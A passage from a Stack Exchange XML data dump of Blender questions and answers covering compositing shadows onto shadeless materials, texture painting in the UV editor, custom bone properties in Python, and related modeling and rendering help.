here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; removes a single keyframe, &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; removes all keyframes of a property.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-10-23T12:33:48.470" LastActivityDate="2015-10-23T12:33:48.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34666" PostTypeId="2" ParentId="34661" CreationDate="2015-07-28T09:22:23.490" Score="7" Body="&lt;p&gt;Well you see, in reality, shadow is simply the absence of light. So to make something shadeless &lt;em&gt;and&lt;/em&gt; receive shadows doesn't make any sense at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of course, there is always a way around the laws of physics :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be a few ways to do this, but the first that comes to mind is &lt;strong&gt;compositing&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJamg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJamg.jpg&quot; alt=&quot;render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Your &quot;shadeless&quot; material should just be a regular material with &lt;em&gt;shadeless&lt;/em&gt; turned &lt;strong&gt;off&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to give a unique Object Index (or Material index) for the objects with shadeless materials - this will allow to do compositing for &lt;em&gt;only&lt;/em&gt; those objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iinkQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iinkQ.png&quot; alt=&quot;id&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then enable some render passes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shadow&lt;/strong&gt; to give you... well, shadows.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Object Index&lt;/strong&gt; so that you can isolate those shadeless objects.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Color&lt;/strong&gt; so that you get the material color without any shading.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vjL0s.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjL0s.png&quot; alt=&quot;passes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you render, you'll get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plain uncomposited render:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uFNf5.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uFNf5.jpg&quot; alt=&quot;raw&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shadow:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fd2K0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fd2K0.jpg&quot; alt=&quot;shadow&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Object Index:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eEKPp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eEKPp.png&quot; alt=&quot;id&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Color:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HE1sd.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HE1sd.png&quot; alt=&quot;color&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the node editor, you simply need to multiply the Color and Shadow passes to get your &lt;em&gt;shadeless but with a shadow&lt;/em&gt; effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BpuzL.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BpuzL.jpg&quot; alt=&quot;shade&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then use the ID Mask node to isolate the objects that you want to be shadeless, and use that as the Fac to mix the raw render and the shadeless part together (so that only the objects that you want to be shadeless are shadeless):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YQbmP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQbmP.png&quot; alt=&quot;nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iJamg.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJamg.jpg&quot; alt=&quot;render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37314&quot; rel=&quot;noreferrer&quot;&gt;Download the .blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you get aliasing issues, enable &lt;em&gt;Full Sample&lt;/em&gt; in the render settings.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2015-07-28T09:29:07.397" LastActivityDate="2015-07-28T09:29:07.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34667" PostTypeId="1" CreationDate="2015-07-28T10:59:35.387" Score="1" ViewCount="304" Body="&lt;p&gt;I am making a house in Blender in wich i want to walk around using Blender game engine.&#xA;Everything displays well, but when i press &quot;P&quot; to start the game, it renders only a few poligons from the entire scene.&#xA;What can be wrong? &#xA;Thank you so much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J7jM5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J7jM5.jpg&quot; alt=&quot;Print 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M23Yy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M23Yy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15563" LastActivityDate="2015-07-28T17:54:24.977" Title="Blender Game renders the scene wrong" Tags="&lt;rendering&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34668" PostTypeId="1" CreationDate="2015-07-28T11:12:38.977" Score="2" ViewCount="617" Body="&lt;p&gt;I am having a mesh. Every face has a ID. There is also a python dictionary where the IDs are mapped to a RGB value (or something else, which can map ID -&gt; RGB. I am just thinking theoretically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to have a node setup which colors the surface of the mesh dependent of the RGB value (I am also using these node groups (&lt;a href=&quot;https://jtheninja.wordpress.com/2015/02/08/simple-pbr-v2/&quot; rel=&quot;nofollow&quot;&gt;https://jtheninja.wordpress.com/2015/02/08/simple-pbr-v2/&lt;/a&gt;) because I want to see it with pbr values. Later I also want to have values for roughess and metallic for each face).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unsure which of the following node-types I should use for that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attribute Node (has output for color)&lt;/li&gt;&#xA;&lt;li&gt;value Node (has output for floats, so I would need three value nodes and make a color-vector out of it?)&lt;/li&gt;&#xA;&lt;li&gt;Script Node (Only for Open-Shading-Language scripts, am I right? Shouldn't help)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need a node type which could access the ID Properties of the current object. I also need a node which also &quot;knows&quot; the face it is currently working and gets the face-id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-08-27T22:11:41.033" Title="Use ID properties in cycles/nodes" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34670" PostTypeId="1" AcceptedAnswerId="34673" CreationDate="2015-07-28T11:17:43.240" Score="13" ViewCount="21386" Body="&lt;p&gt;Is there a way to draw something within the UV viewport and not the 3d viewport?&lt;/p&gt;&#xA;" OwnerUserId="6066" LastActivityDate="2015-07-28T13:35:03.020" Title="Can I paint a texture within the UV viewport?" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34671" PostTypeId="2" ParentId="34517" CreationDate="2015-07-28T11:26:22.843" Score="2" Body="&lt;p&gt;The tilt of individual (or all) points on a curve can be adjusted by highlighting the relevant control points and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; followed by making the adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are using another object with a curve modifier this will adjust the orientation of that object as it follows the curve.&lt;/p&gt;&#xA;" OwnerUserId="13661" LastEditorUserId="5113" LastEditDate="2015-07-28T11:41:36.873" LastActivityDate="2015-07-28T11:41:36.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34672" PostTypeId="2" ParentId="34670" CreationDate="2015-07-28T11:46:16.857" Score="3" Body="&lt;p&gt;You need to change the mode of the UV/Image Editor.&#xA;Switch it to Paint Mode.&#xA;You can change the color in the tools-window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hqJ66.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hqJ66.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="13978" LastActivityDate="2015-07-28T11:46:16.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34673" PostTypeId="2" ParentId="34670" CreationDate="2015-07-28T11:50:50.673" Score="21" Body="&lt;p&gt;In &lt;em&gt;Uv Editor&lt;/em&gt; switch the &lt;em&gt;Mode&lt;/em&gt; to &lt;strong&gt;&lt;em&gt;Paint&lt;/em&gt;&lt;/strong&gt;. Open a &lt;em&gt;Tools panel&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) and select a brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/St2vZ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/St2vZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can paint. &#xA;Remember to save your image when you're done with painting (&lt;em&gt;Image--&gt;Save As Image&lt;/em&gt;). When you see a little star (*) next to the &lt;em&gt;Image&lt;/em&gt; in header it means that the image isn't saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3h30R.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3h30R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some useful shortcuts that can be used in a &lt;em&gt;UV Editor&lt;/em&gt; window:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;S&lt;/kbd&gt; to pick a color sample&lt;/li&gt;&#xA;&lt;li&gt;hold &lt;kbd&gt;S&lt;/kbd&gt; and press LMB to add a color sample to your palette (you may also do it pressing a &lt;kbd&gt;+&lt;/kbd&gt; button located under the circular color palette).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ajeXl.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajeXl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;F&lt;/kbd&gt; to change the size of a brush &lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to change the strenght of a brush&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After pressing the shortcuts you may also change the attributes of a brush using numerical keyboard buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3E6mC.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3E6mC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;E&lt;/kbd&gt; to change the stroke method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here you can find many interesting options (like a &lt;em&gt;Curve&lt;/em&gt; stroke- very useful for precise painting). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CnuAw.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CnuAw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;X&lt;/kbd&gt; to quickly flip the color slots&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sJQP3.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJQP3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-07-28T13:35:03.020" LastActivityDate="2015-07-28T13:35:03.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34675" PostTypeId="2" ParentId="34650" CreationDate="2015-07-28T13:04:01.037" Score="5" Body="&lt;h2&gt;1st Method&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign a custom property to an existing type&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;type&quot; are blender data types please note that &quot;Bone&quot; is different from &quot;PoseBone&quot; type&#xA;&quot;custom_float2&quot; is just random name it can be anything you like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.types.PoseBone.custom_float2 = bpy.props.FloatProperty(name=&quot;Test Prob&quot;, default=0.3, min=0.0, max=1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_70_release/bpy.props.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;For more description on Creation of Custom property&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then Assign it to the bone you wish to use it with&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.data.objects[&quot;Armature&quot;].pose.bones[&quot;Bone&quot;].custom_float2 = 2.0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the bone in pose mode and you will see the custom property&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Note: &lt;code&gt;bones[&quot;Bone&quot;].custom_float2&lt;/code&gt; is unique from &lt;code&gt;bones[&quot;Bone 2&quot;].custom_float2&lt;/code&gt; and &lt;code&gt;bones[&quot;Bone 3&quot;].custom_float2&lt;/code&gt; just you have to repeat step 2 to assing custom property to other bones&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;2nd Method&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create the property. Assigning some value is very important.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pbone = bpy.data.objects[&quot;Armature&quot;].pose.bones[&quot;Bone&quot;]&#xA;pbone['myControl'] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now as Jerryno pointed To change min, max, softmin or softmax you need to adjust the _RNA_UI_ dictionary with those parameters.&#xA;There are few things have to be kept in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_RNA_UI is a single dictionary for all ID-Properties for any given object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we have to check if this _RNA_UI dictionary exists if not create&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if &quot;_RNA_UI&quot; not in pbone.keys():&#xA;            pbone[&quot;_RNA_UI&quot;] = {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And we have to use update() method to append this dictionary&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pbone[&quot;_RNA_UI&quot;].update({&quot;myControl&quot;: {&quot;min&quot;:0.0, &quot;max&quot;:1.0, &quot;soft_min&quot;:0.0, &quot;soft_max&quot;:1.0}})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastEditorUserId="30849" LastEditDate="2018-11-08T10:47:34.993" LastActivityDate="2018-11-08T10:47:34.993" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34677" PostTypeId="2" ParentId="34661" CreationDate="2015-07-28T15:00:29.523" Score="3" Body="&lt;p&gt;I like Greg's answer a lot. That said, if you want a method that doesn't involve compositing you can always use textured planes with transparency and give it nice even lighting with a Sun Lamp.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Final Result&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nrOoX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nrOoX.png&quot; alt=&quot;Image planes with shadows&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How-To&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get your textured planes in to Blender the easiest way is with the Import Images As Planes add-on, which is included with Blender so it's as easy as enabling in your Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8jwwi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8jwwi.png&quot; alt=&quot;Enabling the Add Images As Planes add-on&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then add your cut-out images from the File Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WpVlv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WpVlv.png&quot; alt=&quot;Add Images As Planes from the File Menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The add-on includes some handy preset options. You'll want to check &quot;Use Alpha&quot; and select &quot;Diffuse &amp;amp; Transparent&quot;. You can choose between Straight Alpha and Premultiplied Alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6XRFe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XRFe.png&quot; alt=&quot;Import options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Sun Lamp, which is a type of lamp that lights from one direction evenly as if coming from a gigantic light source like the sun. The Sun Lamp's Strength determines how bright the lighting is, and its Size determines how soft or hard your shadows will be. The distance from one plane to the next is also a factor, as you can imagine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7FVC3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FVC3.png&quot; alt=&quot;Sun Lamp settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aim the Sun Lamp almost directly facing your image planes, with enough rotation to create a shadow in the direction you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/379/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=379&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-28T15:07:41.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34678" PostTypeId="1" CreationDate="2015-07-28T15:04:10.227" Score="0" ViewCount="873" Body="&lt;p&gt;I want to write a script for blender, and I wonder how can I draw something using python in the 3D view? Like lines or triangles? I mean something like debug drawing.&lt;/p&gt;&#xA;" OwnerUserId="806" LastEditorUserId="241" LastEditDate="2015-07-28T15:28:50.457" LastActivityDate="2015-07-28T15:28:50.457" Title="How can I draw in the 3D view with Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drawmodes&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34679" PostTypeId="1" CreationDate="2015-07-28T15:13:19.233" Score="1" ViewCount="870" Body="&lt;p&gt;I've seen other questions about merging objects, usually involving deleting faces from both of them and connecting them together. But that's not what I want. I just want to be able to control many objects together, using scale, movement, etc, as if it was only one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this? It seems like it should be easy but I haven't found a good explanation yet..&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2015-07-28T15:32:30.263" Title="How to I merge two objects so I can move them around as if they were one object?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-28T18:10:17.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="34680" PostTypeId="2" ParentId="34679" CreationDate="2015-07-28T15:22:03.350" Score="4" Body="&lt;p&gt;There are many ways to do that.&#xA;One option is to select all the objects and &lt;strong&gt;join&lt;/strong&gt; them into one (&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;J&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to &lt;strong&gt;parent&lt;/strong&gt; all of your objects to one of the objects or to an empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Affecting the parent_object/empty will affect all of them, but you can still edit/re-arrange each one of them individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DlXVt.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlXVt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-28T15:32:30.263" LastActivityDate="2015-07-28T15:32:30.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34681" PostTypeId="2" ParentId="27890" CreationDate="2015-07-28T15:30:00.193" Score="17" Body="&lt;p&gt;&lt;strong&gt;Properties--&gt;Render--&gt;Audio&lt;/strong&gt; and select the format in the windows (mp3 / flac ...) make sure properties--&gt;Render--&gt;post processing--&gt; sequencer&quot; is enable (if sequencer is the audio input)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/612rK.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/612rK.png&quot; alt=&quot;Properties--&amp;gt;Render--&amp;gt;Audio&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15974" LastActivityDate="2015-07-28T15:30:00.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34682" PostTypeId="1" AcceptedAnswerId="34689" CreationDate="2015-07-28T15:43:45.330" Score="1" ViewCount="68" Body="&lt;p&gt;An AI I've created uses steering, is dynamic, but doesn't get affected by gravity. What would be a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-07-28T17:40:44.753" Title="Steering not affected by gravity?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34683" PostTypeId="1" AcceptedAnswerId="34735" CreationDate="2015-07-28T15:44:57.103" Score="2" ViewCount="9762" Body="&lt;p&gt;The knife tool or knife project tool cannot be applied on the faces shown in the screenshot, but they worked on other faces. I've used 'remove doubles' and 'recalculate normals' on my model but that doesn't solve the problem. Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model Download Link : &lt;a href=&quot;http://www.mediafire.com/download/awfnkhsua6mn4m9/demo.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; (A circle was placed in front of these faces for knife project tool testing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hswUN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hswUN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastEditorUserId="15885" LastEditDate="2015-07-29T06:58:46.350" LastActivityDate="2015-07-29T11:42:02.563" Title="Why the knife tool can't be used on some of my faces?" Tags="&lt;knife-tool&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34684" PostTypeId="2" ParentId="34409" CreationDate="2015-07-28T15:59:44.570" Score="1" Body="&lt;p&gt;I found that blender .bullet export (for primitives) does not export correctly if:&#xA;&lt;br/&gt;1. “Apply Object Transform” for Location or Rotation is performed. This is not reversible quickly&#xA;&lt;br/&gt;2. The “origin” is not at the object bounds center (i.e. 1a was performed, location reset to 0)&#xA;&lt;br/&gt;3. Rotation in blender != value you want (i.e. 1a was performed, rotation reset to 0)&#xA;&lt;br/&gt;4. Scale in blender != 1.0 (i.e. 1a for Scale was NOT performed)&#xA;&lt;br/&gt;5. Something moved in the scene before the script ran&lt;/p&gt;&#xA;" OwnerUserId="15848" LastActivityDate="2015-07-28T15:59:44.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34685" PostTypeId="1" AcceptedAnswerId="34695" CreationDate="2015-07-28T16:31:30.107" Score="16" ViewCount="3951" Body="&lt;p&gt;I'm after an adjustable pie chart. Think of a circular box of cheese triangles. Each triangle is a separate object from the others (and variable in the .pct of the circle, but together form a thick disk - like a hockey puck.&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2019-04-18T01:27:53.480" Title="How to create a circle pie chart with separate (adjustable/variable) triangle &quot;chunks&quot;?" Tags="&lt;modeling&gt;" AnswerCount="6" CommentCount="3" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
